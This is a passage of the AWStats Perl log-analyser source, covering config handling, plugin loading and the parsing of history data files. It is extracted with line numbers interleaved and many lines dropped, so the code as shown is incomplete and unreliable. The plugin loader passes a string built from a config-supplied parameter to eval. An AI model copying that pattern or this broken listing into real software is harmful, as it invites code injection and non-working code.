if ( $ShowAuthenticatedUsers eq '1' ) { $ShowAuthenticatedUsers = 'PHBL'; }
2860
if ( $ShowRobotsStats eq '1' ) { $ShowRobotsStats = 'HBL'; }
2861
if ( $ShowWormsStats eq '1' ) { $ShowWormsStats = 'HBL'; }
2862
if ( $ShowPagesStats eq '1' ) { $ShowPagesStats = 'PBEX'; }
2863
if ( $ShowFileTypesStats eq '1' ) { $ShowFileTypesStats = 'HB'; }
2864
if ( $ShowDownloadsStats eq '1' ) { $ShowDownloadsStats = 'HB';}
2865
if ( $ShowOriginStats eq '1' ) { $ShowOriginStats = 'PH'; }
2866
if ( $ShowClusterStats eq '1' ) { $ShowClusterStats = 'PHB'; }
2867
if ( $ShowMiscStats eq '1' ) { $ShowMiscStats = 'anjdfrqwp'; }
2869
# Convert extra sections data into @ExtraConditionType, @ExtraConditionTypeVal...
2870
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
2872
foreach my $conditioncouple (
2873
split( /\s*\|\|\s*/, $ExtraCondition[$extranum] ) )
2875
my ( $conditiontype, $conditiontypeval ) =
2876
split( /[,:]/, $conditioncouple, 2 );
2877
$ExtraConditionType[$extranum][$part] = $conditiontype;
2878
if ( $conditiontypeval =~ /^REGEX\[(.*)\]$/i ) {
2879
$conditiontypeval = $1;
2882
#else { $conditiontypeval=quotemeta($conditiontypeval); }
2883
$ExtraConditionTypeVal[$extranum][$part] = qr/$conditiontypeval/i;
2887
foreach my $rowkeycouple (
2888
split( /\s*\|\|\s*/, $ExtraFirstColumnValues[$extranum] ) )
2890
my ( $rowkeytype, $rowkeytypeval ) =
2891
split( /[,:]/, $rowkeycouple, 2 );
2892
$ExtraFirstColumnValuesType[$extranum][$part] = $rowkeytype;
2893
if ( $rowkeytypeval =~ /^REGEX\[(.*)\]$/i ) { $rowkeytypeval = $1; }
2895
#else { $rowkeytypeval=quotemeta($rowkeytypeval); }
2896
$ExtraFirstColumnValuesTypeVal[$extranum][$part] =
2897
qr/$rowkeytypeval/i;
2902
# Show definitive value for major parameters
2904
debug( " LogFile='$LogFile'", 2 );
2905
debug( " LogFormat='$LogFormat'", 2 );
2906
debug( " LogSeparator='$LogSeparator'", 2 );
2907
debug( " DNSLookup='$DNSLookup'", 2 );
2908
debug( " DirData='$DirData'", 2 );
2909
debug( " DirCgi='$DirCgi'", 2 );
2910
debug( " DirIcons='$DirIcons'", 2 );
2911
debug( " SiteDomain='$SiteDomain'", 2 );
2912
debug( " MiscTrackerUrl='$MiscTrackerUrl'", 2 );
2913
foreach ( keys %MaxNbOf ) { debug( " MaxNbOf{$_}=$MaxNbOf{$_}", 2 ); }
2914
foreach ( keys %MinHit ) { debug( " MinHit{$_}=$MinHit{$_}", 2 ); }
2916
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
2918
" ExtraCodeFilter[$extranum] is array "
2919
. join( ',', @{ $ExtraCodeFilter[$extranum] } ),
2923
" ExtraConditionType[$extranum] is array "
2924
. join( ',', @{ $ExtraConditionType[$extranum] } ),
2928
" ExtraConditionTypeVal[$extranum] is array "
2929
. join( ',', @{ $ExtraConditionTypeVal[$extranum] } ),
2933
" ExtraFirstColumnFunction[$extranum] is array "
2934
. join( ',', @{ $ExtraFirstColumnFunction[$extranum] } ),
2938
" ExtraFirstColumnValuesType[$extranum] is array "
2939
. join( ',', @{ $ExtraFirstColumnValuesType[$extranum] } ),
2943
" ExtraFirstColumnValuesTypeVal[$extranum] is array "
2944
. join( ',', @{ $ExtraFirstColumnValuesTypeVal[$extranum] } ),
2950
# Deny URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters both set
2951
if ( @URLWithQueryWithOnly && @URLWithQueryWithout ) {
2953
"URLWithQueryWithOnlyFollowingParameters and URLWithQueryWithoutFollowingParameters can't be both set at the same time"
2957
# Deny $ShowHTTPErrorsStats and $ShowSMTPErrorsStats both set
2958
if ( $ShowHTTPErrorsStats && $ShowSMTPErrorsStats ) {
2960
"ShowHTTPErrorsStats and ShowSMTPErrorsStats can't be both set at the same time"
2964
# Deny LogFile if contains a pipe and PurgeLogFile || ArchiveLogRecords set on
2965
if ( ( $PurgeLogFile || $ArchiveLogRecords ) && $LogFile =~ /\|\s*$/ ) {
2967
"A pipe in log file name is not allowed if PurgeLogFile and ArchiveLogRecords are not set to 0"
2971
# If not a migrate, check if DirData is OK
2972
if ( !$MigrateStats && !-d $DirData ) {
2973
if ($CreateDirDataIfNotExists) {
2974
if ($Debug) { debug( " Make directory $DirData", 2 ); }
2975
my $mkdirok = mkdir "$DirData", 0755;
2978
"$PROG failed to create directory DirData (DirData=\"$DirData\", CreateDirDataIfNotExists=$CreateDirDataIfNotExists)."
2984
"AWStats database directory defined in config file by 'DirData' parameter ($DirData) does not exist or is not writable."
2989
if ( $LogType eq 'S' ) { $NOTSORTEDRECORDTOLERANCE = 1000000; }
2992
#------------------------------------------------------------------------------
2993
# Function: Common function used by init function of plugins
2994
# Parameters: AWStats version required by plugin
2997
# Return: '' if ok, "Error: xxx" if error
2998
#------------------------------------------------------------------------------
2999
sub Check_Plugin_Version {
3000
my $PluginNeedAWStatsVersion = shift;
3001
if ( !$PluginNeedAWStatsVersion ) { return 0; }
3002
$VERSION =~ /^(\d+)\.(\d+)/;
3003
my $numAWStatsVersion = ( $1 * 1000 ) + $2;
3004
$PluginNeedAWStatsVersion =~ /^(\d+)\.(\d+)/;
3005
my $numPluginNeedAWStatsVersion = ( $1 * 1000 ) + $2;
3006
if ( $numPluginNeedAWStatsVersion > $numAWStatsVersion ) {
3008
"Error: AWStats version $PluginNeedAWStatsVersion or higher is required. Detected $VERSION.";
3013
#------------------------------------------------------------------------------
3014
# Function: Return a checksum for an array of string
3015
# Parameters: Array of string
3018
# Return: Checksum number
3019
#------------------------------------------------------------------------------
3025
# $checksum = MD5->hexhash($string);
3028
while ( $i < length($string) ) {
3029
my $c = substr( $string, $i, 1 );
3030
$checksum += ( ord($c) << ( 8 * $j ) );
3031
if ( $j++ > 3 ) { $j = 0; }
3037
#------------------------------------------------------------------------------
3038
# Function: Load plugins files
3040
# Input: $DIR @PluginsToLoad
3043
#------------------------------------------------------------------------------
3046
# Check plugin files in common possible directories :
3047
# Windows and standard package: "$DIR/plugins" (plugins in same dir than awstats.pl)
3048
# Redhat : "/usr/local/awstats/wwwroot/cgi-bin/plugins"
3049
# Debian package : "/usr/share/awstats/plugins"
3050
my @PossiblePluginsDir = (
3052
"/usr/local/awstats/wwwroot/cgi-bin/plugins",
3053
"/usr/share/awstats/plugins"
3055
my %DirAddedInINC = ();
3057
#Removed for security reason
3058
#foreach my $key (keys %NoLoadPlugin) { if ($NoLoadPlugin{$key} < 0) { push @PluginsToLoad, $key; } }
3061
"Call to Read_Plugins with list: " . join( ',', @PluginsToLoad ) );
3063
foreach my $plugininfo (@PluginsToLoad) {
3064
my ( $pluginfile, $pluginparam ) = split( /\s+/, $plugininfo, 2 );
3066
""; # If split has only on part, pluginparam is not initialized
3067
$pluginfile =~ s/\.pm$//i;
3068
$pluginfile =~ /([^\/\\]+)$/;
3069
$pluginfile = Sanitize($1); # pluginfile is cleaned from any path for security reasons and from .pm
3070
my $pluginname = $pluginfile;
3071
if ( $NoLoadPlugin{$pluginname} && $NoLoadPlugin{$pluginname} > 0 ) {
3074
" Plugin load for '$pluginfile' has been disabled from parameters"
3080
if ( !$PluginsLoaded{'init'}{"$pluginname"} )
3081
{ # Plugin not already loaded
3088
'geoip_region_maxmind' => 'mou',
3089
'geoip_city_maxmind' => 'mou',
3090
'geoip_isp_maxmind' => 'mou',
3091
'geoip_org_maxmind' => 'mou',
3093
'decodeutfkeys' => 'o',
3100
if ( $pluginisfor{$pluginname} )
3101
{ # If it's a known plugin, may be we don't need to load it
3102
# Do not load "menu handler plugins" if output only and mainleft frame
3104
&& scalar keys %HTMLOutput
3105
&& $FrameName eq 'mainleft'
3106
&& $pluginisfor{$pluginname} !~ /m/ )
3108
$PluginsLoaded{'init'}{"$pluginname"} = 1;
3112
# Do not load "update plugins" if output only
3114
&& scalar keys %HTMLOutput
3115
&& $pluginisfor{$pluginname} !~ /o/ )
3117
$PluginsLoaded{'init'}{"$pluginname"} = 1;
3121
# Do not load "output plugins" if update only
3123
&& !scalar keys %HTMLOutput
3124
&& $pluginisfor{$pluginname} !~ /u/ )
3126
$PluginsLoaded{'init'}{"$pluginname"} = 1;
3132
foreach my $dir (@PossiblePluginsDir) {
3133
my $searchdir = $dir;
3135
&& ( !( $searchdir =~ /\/$/ ) )
3136
&& ( !( $searchdir =~ /\\$/ ) ) )
3140
my $pluginpath = "${searchdir}${pluginfile}.pm";
3141
if ( -s "$pluginpath" ) {
3142
$PluginDir = "${searchdir}"; # Set plugin dir
3145
" Try to init plugin '$pluginname' ($pluginpath) with param '$pluginparam'",
3149
if ( !$DirAddedInINC{"$dir"} ) {
3151
$DirAddedInINC{"$dir"} = 1;
3154
my $modperl = $ENV{"MOD_PERL"}
3157
$mod_perl::VERSION >= 1.99 ? 2 : 1;
3160
if ( $modperl == 2 ) {
3161
$loadret = require "$pluginpath";
3163
else { $loadret = require "$pluginfile.pm"; }
3164
if ( !$loadret || $loadret =~ /^error/i ) {
3166
# Load failed, we stop here
3168
"Plugin load for plugin '$pluginname' failed with return code: $loadret"
3171
my $ret; # To get init return
3173
"\$ret=Init_$pluginname('$pluginparam')";
3174
my $initret = eval("$initfunction");
3175
if ( $initret && $initret eq 'xxx' ) {
3177
'Error: The PluginHooksFunctions variable defined in plugin file does not contain list of hooked functions';
3179
if ( !$initret || $initret =~ /^error/i ) {
3181
# Init function failed, we stop here
3183
"Plugin init for plugin '$pluginname' failed with return code: "
3187
: "$@ (A module required by plugin might be missing)."
3192
# Plugin load and init successfull
3193
foreach my $elem ( split( /\s+/, $initret ) ) {
3195
# Some functions can only be plugged once
3197
'GetCountryCodeByName',
3198
'GetCountryCodeByAddr',
3207
my $isuniquefunc = 0;
3208
foreach my $function (@uniquefunc) {
3209
if ( "$elem" eq "$function" ) {
3211
# We try to load a 'unique' function, so we check and stop if already loaded
3212
foreach my $otherpluginname (
3213
keys %{ $PluginsLoaded{"$elem"} } )
3216
"Conflict between plugin '$pluginname' and '$otherpluginname'. They both implements the 'must be unique' function '$elem'.\nYou must choose between one of them. Using together is not possible."
3223
if ($isuniquefunc) {
3225
# TODO Use $PluginsLoaded{"$elem"}="$pluginname"; for unique func
3226
$PluginsLoaded{"$elem"}{"$pluginname"} = 1;
3228
else { $PluginsLoaded{"$elem"}{"$pluginname"} = 1; }
3229
if ( "$elem" =~ /SectionInitHashArray/ ) {
3230
$AtLeastOneSectionPlugin = 1;
3233
$PluginsLoaded{'init'}{"$pluginname"} = 1;
3236
" Plugin '$pluginname' now hooks functions '$initret'",
3243
if ( !$PluginsLoaded{'init'}{"$pluginname"} ) {
3245
"AWStats config file contains a directive to load plugin \"$pluginname\" (LoadPlugin=\"$plugininfo\") but AWStats can't open plugin file \"$pluginfile.pm\" for read.\nCheck if file is in \""
3246
. ( $PossiblePluginsDir[0] )
3247
. "\" directory and is readable." );
3252
"Warning: Tried to load plugin \"$pluginname\" twice. Fix config file."
3257
error("Plugin \"$pluginfile\" is not a valid plugin name.");
3261
# In output mode, geo ip plugins are not loaded, so message changes are done here (can't be done in plugin init function)
3262
if ( $PluginsLoaded{'init'}{'geoip'}
3263
|| $PluginsLoaded{'init'}{'geoipfree'} )
3265
$Message[17] = $Message[25] = $Message[148];
3269
#------------------------------------------------------------------------------
3270
# Function: Read history file and create or update tmp history file
3271
# Parameters: year,month,day,hour,withupdate,withpurge,part_to_load[,lastlinenb,lastlineoffset,lastlinechecksum]
3272
# Input: $DirData $PROG $FileSuffix $LastLine $DatabaseBreak
3274
# Return: Tmp history file name created/updated or '' if withupdate is 0
3275
#------------------------------------------------------------------------------
3276
sub Read_History_With_TmpUpdate {
3278
my $year = sprintf( "%04i", shift || 0 );
3279
my $month = sprintf( "%02i", shift || 0 );
3281
if ( $day ne '' ) { $day = sprintf( "%02i", $day ); }
3283
if ( $hour ne '' ) { $hour = sprintf( "%02i", $hour ); }
3284
my $withupdate = shift || 0;
3285
my $withpurge = shift || 0;
3286
my $part = shift || '';
3288
my ( $date, $filedate ) = ( '', '' );
3289
if ( $DatabaseBreak eq 'month' ) {
3290
$date = sprintf( "%04i%02i", $year, $month );
3291
$filedate = sprintf( "%02i%04i", $month, $year );
3293
elsif ( $DatabaseBreak eq 'year' ) {
3294
$date = sprintf( "%04i%", $year );
3295
$filedate = sprintf( "%04i", $year );
3297
elsif ( $DatabaseBreak eq 'day' ) {
3298
$date = sprintf( "%04i%02i%02i", $year, $month, $day );
3299
$filedate = sprintf( "%02i%04i%02i", $month, $year, $day );
3301
elsif ( $DatabaseBreak eq 'hour' ) {
3302
$date = sprintf( "%04i%02i%02i%02i", $year, $month, $day, $hour );
3303
$filedate = sprintf( "%02i%04i%02i%02i", $month, $year, $day, $hour );
3306
my $xml = ( $BuildHistoryFormat eq 'xml' ? 1 : 0 );
3307
my $xmleb = '</table><nu>';
3308
my $xmlrb = '<tr><td>';
3310
my $lastlinenb = shift || 0;
3311
my $lastlineoffset = shift || 0;
3312
my $lastlinechecksum = shift || 0;
3325
'emailsender' => 11,
3326
'emailreceiver' => 12,
3334
'unknownreferer' => 20,
3335
'unknownrefererbrowser' => 21,
3337
'sereferrals' => 23,
3339
'searchwords' => 25,
3344
my $order = ( scalar keys %allsections ) + 1;
3345
foreach ( keys %TrapInfosForHTTPErrorCodes ) {
3346
$allsections{"sider_$_"} = $order++;
3348
foreach ( 1 .. @ExtraName - 1 ) { $allsections{"extra_$_"} = $order++; }
3349
foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
3350
$allsections{"plugin_$_"} = $order++;
3354
# Variable used to read old format history files
3355
my $readvisitorforbackward = 0;
3359
"Call to Read_History_With_TmpUpdate [$year,$month,$day,$hour,withupdate=$withupdate,withpurge=$withpurge,part=$part,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]"
3362
if ($Debug) { debug("date=$date"); }
3364
# Define SectionsToLoad (which sections to load)
3365
my %SectionsToLoad = ();
3366
if ( $part eq 'all' ) { # Load all needed sections
3368
$SectionsToLoad{'general'} = $order++;
3371
$SectionsToLoad{'time'} = $order
3372
++; # Always loaded because needed to count TotalPages, TotalHits, TotalBandwidth
3375
|| ( $HTMLOutput{'main'} && $ShowHostsStats )
3376
|| $HTMLOutput{'allhosts'}
3377
|| $HTMLOutput{'lasthosts'}
3378
|| $HTMLOutput{'unknownip'} )
3380
$SectionsToLoad{'visitor'} = $order++;
3381
} # Must be before day, sider and session section
3385
|| ( $HTMLOutput{'main'}
3386
&& ( $ShowDaysOfWeekStats || $ShowDaysOfMonthStats ) )
3387
|| $HTMLOutput{'alldays'}
3390
$SectionsToLoad{'day'} = $order++;
3396
|| ( $HTMLOutput{'main'} && $ShowDomainsStats )
3397
|| $HTMLOutput{'alldomains'} )
3399
$SectionsToLoad{'domain'} = $order++;
3403
|| ( $HTMLOutput{'main'} && $ShowAuthenticatedUsers )
3404
|| $HTMLOutput{'alllogins'}
3405
|| $HTMLOutput{'lastlogins'} )
3407
$SectionsToLoad{'login'} = $order++;
3411
|| ( $HTMLOutput{'main'} && $ShowRobotsStats )
3412
|| $HTMLOutput{'allrobots'}
3413
|| $HTMLOutput{'lastrobots'} )
3415
$SectionsToLoad{'robot'} = $order++;
3419
|| ( $HTMLOutput{'main'} && $ShowWormsStats )
3420
|| $HTMLOutput{'allworms'}
3421
|| $HTMLOutput{'lastworms'} )
3423
$SectionsToLoad{'worms'} = $order++;
3427
|| ( $HTMLOutput{'main'} && $ShowEMailSenders )
3428
|| $HTMLOutput{'allemails'}
3429
|| $HTMLOutput{'lastemails'} )
3431
$SectionsToLoad{'emailsender'} = $order++;
3435
|| ( $HTMLOutput{'main'} && $ShowEMailReceivers )
3436
|| $HTMLOutput{'allemailr'}
3437
|| $HTMLOutput{'lastemailr'} )
3439
$SectionsToLoad{'emailreceiver'} = $order++;
3445
|| ( $HTMLOutput{'main'} && $ShowSessionsStats )
3446
|| $HTMLOutput{'sessions'} )
3448
$SectionsToLoad{'session'} = $order++;
3452
|| ( $HTMLOutput{'main'} && $ShowPagesStats )
3453
|| $HTMLOutput{'urldetail'}
3454
|| $HTMLOutput{'urlentry'}
3455
|| $HTMLOutput{'urlexit'} )
3457
$SectionsToLoad{'sider'} = $order++;
3461
|| ( $HTMLOutput{'main'} && $ShowFileTypesStats )
3462
|| $HTMLOutput{'filetypes'} )
3464
$SectionsToLoad{'filetypes'} = $order++;
3469
|| ($HTMLOutput{'main'} && $ShowDownloadsStats )
3470
|| $HTMLOutput{'downloads'} )
3472
$SectionsToLoad{'downloads'} = $order++;
3476
|| ( $HTMLOutput{'main'} && $ShowOSStats )
3477
|| $HTMLOutput{'osdetail'} )
3479
$SectionsToLoad{'os'} = $order++;
3483
|| ( $HTMLOutput{'main'} && $ShowBrowsersStats )
3484
|| $HTMLOutput{'browserdetail'} )
3486
$SectionsToLoad{'browser'} = $order++;
3488
if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownos'} ) {
3489
$SectionsToLoad{'unknownreferer'} = $order++;
3491
if ( $UpdateStats || $MigrateStats || $HTMLOutput{'unknownbrowser'} ) {
3492
$SectionsToLoad{'unknownrefererbrowser'} = $order++;
3496
|| ( $HTMLOutput{'main'} && $ShowScreenSizeStats ) )
3498
$SectionsToLoad{'screensize'} = $order++;
3504
|| ( $HTMLOutput{'main'} && $ShowOriginStats )
3505
|| $HTMLOutput{'origin'} )
3507
$SectionsToLoad{'origin'} = $order++;
3511
|| ( $HTMLOutput{'main'} && $ShowOriginStats )
3512
|| $HTMLOutput{'refererse'} )
3514
$SectionsToLoad{'sereferrals'} = $order++;
3518
|| ( $HTMLOutput{'main'} && $ShowOriginStats )
3519
|| $HTMLOutput{'refererpages'} )
3521
$SectionsToLoad{'pagerefs'} = $order++;
3525
|| ( $HTMLOutput{'main'} && $ShowKeyphrasesStats )
3526
|| $HTMLOutput{'keyphrases'}
3527
|| $HTMLOutput{'keywords'} )
3529
$SectionsToLoad{'searchwords'} = $order++;
3531
if ( !$withupdate && $HTMLOutput{'main'} && $ShowKeywordsStats ) {
3532
$SectionsToLoad{'keywords'} = $order++;
3533
} # If we update, dont need to load
3537
|| ( $HTMLOutput{'main'} && $ShowMiscStats ) )
3539
$SectionsToLoad{'misc'} = $order++;
3544
|| ( $HTMLOutput{'main'}
3545
&& ( $ShowHTTPErrorsStats || $ShowSMTPErrorsStats ) )
3546
|| $HTMLOutput{'errors'}
3549
$SectionsToLoad{'errors'} = $order++;
3551
foreach ( keys %TrapInfosForHTTPErrorCodes ) {
3552
if ( $UpdateStats || $MigrateStats || $HTMLOutput{"errors$_"} ) {
3553
$SectionsToLoad{"sider_$_"} = $order++;
3558
|| ( $HTMLOutput{'main'} && $ShowClusterStats ) )
3560
$SectionsToLoad{'cluster'} = $order++;
3562
foreach ( 1 .. @ExtraName - 1 ) {
3565
|| ( $HTMLOutput{'main'} && $ExtraStatTypes[$_] )
3566
|| $HTMLOutput{"allextra$_"} )
3568
$SectionsToLoad{"extra_$_"} = $order++;
3571
foreach ( keys %{ $PluginsLoaded{'SectionInitHashArray'} } ) {
3572
if ( $UpdateStats || $MigrateStats || $HTMLOutput{"plugin_$_"} ) {
3573
$SectionsToLoad{"plugin_$_"} = $order++;
3577
else { # Load only required sections
3579
foreach ( split( /\s+/, $part ) ) { $SectionsToLoad{$_} = $order++; }
3582
# Define SectionsToSave (which sections to save)
3583
my %SectionsToSave = ();
3585
if ( $SectionsToBeSaved eq 'all' ) {
3586
%SectionsToSave = %allsections;
3590
foreach ( split( /\s+/, $SectionsToBeSaved ) ) {
3591
$SectionsToSave{$_} = $order++;
3598
" List of sections marked for load : "
3602
sort { $SectionsToLoad{$a} <=> $SectionsToLoad{$b} }
3603
keys %SectionsToLoad
3609
" List of sections marked for save : "
3613
sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} }
3614
keys %SectionsToSave
3621
# Define value for filetowrite and filetoread (Month before Year kept for backward compatibility)
3622
my $filetowrite = '';
3623
my $filetoread = '';
3624
if ( $HistoryAlreadyFlushed{"$year$month$day$hour"}
3625
&& -s "$DirData/$PROG$filedate$FileSuffix.tmp.$$" )
3628
# tmp history file was already flushed
3629
$filetoread = "$DirData/$PROG$filedate$FileSuffix.tmp.$$";
3630
$filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$.bis";
3633
$filetoread = "$DirData/$PROG$filedate$FileSuffix.txt";
3634
$filetowrite = "$DirData/$PROG$filedate$FileSuffix.tmp.$$";
3636
if ($Debug) { debug( " History file to read is '$filetoread'", 2 ); }
3638
# Is there an old data file to read or, if migrate, can we open the file for read
3639
if ( -s $filetoread || $MigrateStats ) { $withread = 1; }
3643
open( HISTORY, $filetoread )
3644
|| error( "Couldn't open file \"$filetoread\" for read: $!",
3645
"", "", $MigrateStats );
3647
; # Avoid premature EOF due to history files corrupted with \cZ or bin chars
3650
open( HISTORYTMP, ">$filetowrite" )
3651
|| error("Couldn't open file \"$filetowrite\" for write: $!");
3655
'<xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://awstats.sourceforge.net/files/awstats.xsd">'
3658
Save_History( "header", $year, $month, $date );
3673
if ( !$readxml && $_ =~ /^<xml/ ) {
3675
if ($Debug) { debug( " Data file format is 'xml'", 1 ); }
3679
# Extract version from first line
3680
if ( !$versionnum && $_ =~ /^AWSTATS DATA FILE (\d+).(\d+)/i ) {
3681
$versionnum = ( $1 * 1000 ) + $2;
3682
if ($Debug) { debug( " Data file version is $versionnum", 1 ); }
3687
@field = split( /\s+/, ( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3688
if ( !$field[0] ) { next; }
3690
# Here version MUST be defined
3691
if ( $versionnum < 5000 ) {
3693
"History file '$filetoread' is to old (version '$versionnum'). This version of AWStats is not compatible with very old history files. Remove this history file or use first a previous AWStats version to migrate it from command line with command: $PROG.$Extension -migrate=\"$filetoread\".",
3699
# TODO Manage GENERAL in a loop like other sections.
3700
if ( $field[0] eq 'BEGIN_GENERAL' ) {
3701
if ($Debug) { debug(" Begin of GENERAL section"); }
3704
if ( $field[0] eq 'LastLine' || $field[0] eq "${xmlrb}LastLine" ) {
3705
if ( !$LastLine || $LastLine < int( $field[1] ) ) {
3706
$LastLine = int( $field[1] );
3708
if ( $field[2] ) { $LastLineNumber = int( $field[2] ); }
3709
if ( $field[3] ) { $LastLineOffset = int( $field[3] ); }
3710
if ( $field[4] ) { $LastLineChecksum = int( $field[4] ); }
3713
if ( $field[0] eq 'FirstTime' || $field[0] eq "${xmlrb}FirstTime" )
3715
if ( !$FirstTime{$date}
3716
|| $FirstTime{$date} > int( $field[1] ) )
3718
$FirstTime{$date} = int( $field[1] );
3722
if ( $field[0] eq 'LastTime' || $field[0] eq "${xmlrb}LastTime" ) {
3723
if ( !$LastTime{$date} || $LastTime{$date} < int( $field[1] ) )
3725
$LastTime{$date} = int( $field[1] );
3729
if ( $field[0] eq 'LastUpdate'
3730
|| $field[0] eq "${xmlrb}LastUpdate" )
3732
if ( !$LastUpdate ) { $LastUpdate = int( $field[1] ); }
3735
if ( $field[0] eq 'TotalVisits'
3736
|| $field[0] eq "${xmlrb}TotalVisits" )
3738
if ( !$withupdate ) {
3739
$MonthVisits{ $year . $month } += int( $field[1] );
3743
if ( $field[0] eq 'TotalUnique'
3744
|| $field[0] eq "${xmlrb}TotalUnique" )
3746
if ( !$withupdate ) {
3747
$MonthUnique{ $year . $month } += int( $field[1] );
3751
if ( $field[0] eq 'MonthHostsKnown'
3752
|| $field[0] eq "${xmlrb}MonthHostsKnown" )
3754
if ( !$withupdate ) {
3755
$MonthHostsKnown{ $year . $month } += int( $field[1] );
3759
if ( $field[0] eq 'MonthHostsUnknown'
3760
|| $field[0] eq "${xmlrb}MonthHostsUnknown" )
3762
if ( !$withupdate ) {
3763
$MonthHostsUnknown{ $year . $month } += int( $field[1] );
3769
$field[0] eq 'END_GENERAL'
3770
|| $field[0] eq "${xmleb}END_GENERAL"
3774
if ($Debug) { debug(" End of GENERAL section"); }
3775
if ( $MigrateStats && !$BadFormatWarning{ $year . $month } ) {
3776
$BadFormatWarning{ $year . $month } = 1;
3778
"Warning: You are migrating a file that is already a recent version (migrate not required for files version $versionnum).",
3783
delete $SectionsToLoad{'general'};
3784
if ( $SectionsToSave{'general'} ) {
3785
Save_History( 'general', $year, $month, $date, $lastlinenb,
3786
$lastlineoffset, $lastlinechecksum );
3787
delete $SectionsToSave{'general'};
3789
if ( !scalar %SectionsToLoad ) {
3790
debug(" Stop reading history file. Got all we need.");
3797
if ( $field[0] eq 'BEGIN_MISC' ) {
3798
if ($Debug) { debug(" Begin of MISC section"); }
3801
my $countloaded = 0;
3805
if ( $SectionsToLoad{'misc'} ) {
3808
$_misc_p{ $field[0] } += int( $field[1] );
3811
$_misc_h{ $field[0] } += int( $field[2] );
3814
$_misc_k{ $field[0] } += int( $field[3] );
3823
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3825
} until ( $field[0] eq 'END_MISC'
3826
|| $field[0] eq "${xmleb}END_MISC"
3828
if ( $field[0] ne 'END_MISC'
3829
&& $field[0] ne "${xmleb}END_MISC" )
3832
"History file \"$filetoread\" is corrupted (End of section MISC not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
3838
" End of MISC section ($count entries, $countloaded loaded)"
3841
delete $SectionsToLoad{'misc'};
3842
if ( $SectionsToSave{'misc'} ) {
3843
Save_History( 'misc', $year, $month, $date );
3844
delete $SectionsToSave{'misc'};
3851
if ( !scalar %SectionsToLoad ) {
3852
debug(" Stop reading history file. Got all we need.");
3859
if ( $field[0] eq 'BEGIN_CLUSTER' ) {
3860
if ($Debug) { debug(" Begin of CLUSTER section"); }
3863
my $countloaded = 0;
3867
if ( $SectionsToLoad{'cluster'} ) {
3870
$_cluster_p{ $field[0] } += int( $field[1] );
3873
$_cluster_h{ $field[0] } += int( $field[2] );
3876
$_cluster_k{ $field[0] } += int( $field[3] );
3885
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3887
} until ( $field[0] eq 'END_CLUSTER'
3888
|| $field[0] eq "${xmleb}END_CLUSTER"
3890
if ( $field[0] ne 'END_CLUSTER'
3891
&& $field[0] ne "${xmleb}END_CLUSTER" )
3894
"History file \"$filetoread\" is corrupted (End of section CLUSTER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
3900
" End of CLUSTER section ($count entries, $countloaded loaded)"
3903
delete $SectionsToLoad{'cluster'};
3904
if ( $SectionsToSave{'cluster'} ) {
3905
Save_History( 'cluster', $year, $month, $date );
3906
delete $SectionsToSave{'cluster'};
3913
if ( !scalar %SectionsToLoad ) {
3914
debug(" Stop reading history file. Got all we need.");
3921
if ( $field[0] eq 'BEGIN_TIME' ) {
3925
my $monthnotviewedpages = 0;
3926
my $monthnotviewedhits = 0;
3927
my $monthnotviewedbytes = 0;
3928
if ($Debug) { debug(" Begin of TIME section"); }
3931
my $countloaded = 0;
3934
if ( $field[0] ne '' )
3935
{ # Test on ne '' because field[0] is '0' for hour 0)
3937
if ( $SectionsToLoad{'time'} ) {
3939
|| $MonthRequired eq 'all'
3940
|| $MonthRequired eq "$month" )
3944
$_time_p[ $field[0] ] += int( $field[1] );
3947
$_time_h[ $field[0] ] += int( $field[2] );
3950
$_time_k[ $field[0] ] += int( $field[3] );
3953
$_time_nv_p[ $field[0] ] +=
3957
$_time_nv_h[ $field[0] ] +=
3961
$_time_nv_k[ $field[0] ] +=
3965
$monthpages += int( $field[1] );
3966
$monthhits += int( $field[2] );
3967
$monthbytes += int( $field[3] );
3968
$monthnotviewedpages += int( $field[4] || 0 );
3969
$monthnotviewedhits += int( $field[5] || 0 );
3970
$monthnotviewedbytes += int( $field[6] || 0 );
3978
( $readxml ? XMLDecodeFromHisto($_) : $_ ) );
3980
} until ( $field[0] eq 'END_TIME'
3981
|| $field[0] eq "${xmleb}END_TIME"
3983
if ( $field[0] ne 'END_TIME'
3984
&& $field[0] ne "${xmleb}END_TIME" )
3987
"History file \"$filetoread\" is corrupted (End of section TIME not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).",
3993
" End of TIME section ($count entries, $countloaded loaded)"
3996
$MonthPages{ $year . $month } += $monthpages;
3997
$MonthHits{ $year . $month } += $monthhits;
3998
$MonthBytes{ $year . $month } += $monthbytes;
3999
$MonthNotViewedPages{ $year . $month } += $monthnotviewedpages;
4000
$MonthNotViewedHits{ $year . $month } += $monthnotviewedhits;
4001
$MonthNotViewedBytes{ $year . $month } += $monthnotviewedbytes;
4002
delete $SectionsToLoad{'time'};
4004
if ( $SectionsToSave{'time'} ) {
4005
Save_History( 'time', $year, $month, $date );
4006
delete $SectionsToSave{'time'};
4016
if ( !scalar %SectionsToLoad ) {
4017
debug(" Stop reading history file. Got all we need.");
4024
if ( $field[0] eq 'BEGIN_ORIGIN' ) {
4025
if ($Debug) { debug(" Begin of ORIGIN section"); }
4028
my $countloaded = 0;
4032
if ( $SectionsToLoad{'origin'} ) {
4033
if ( $field[0] eq 'From0' ) {
4034
$_from_p[0] += $field[1];
4035
$_from_h[0] += $field[2];
4037
elsif ( $field[0] eq 'From1' ) {
4038
$_from_p[1] += $field[1];
4039
$_from_h[1] += $field[2];
4041
elsif ( $field[0] eq 'From2' ) {
4042
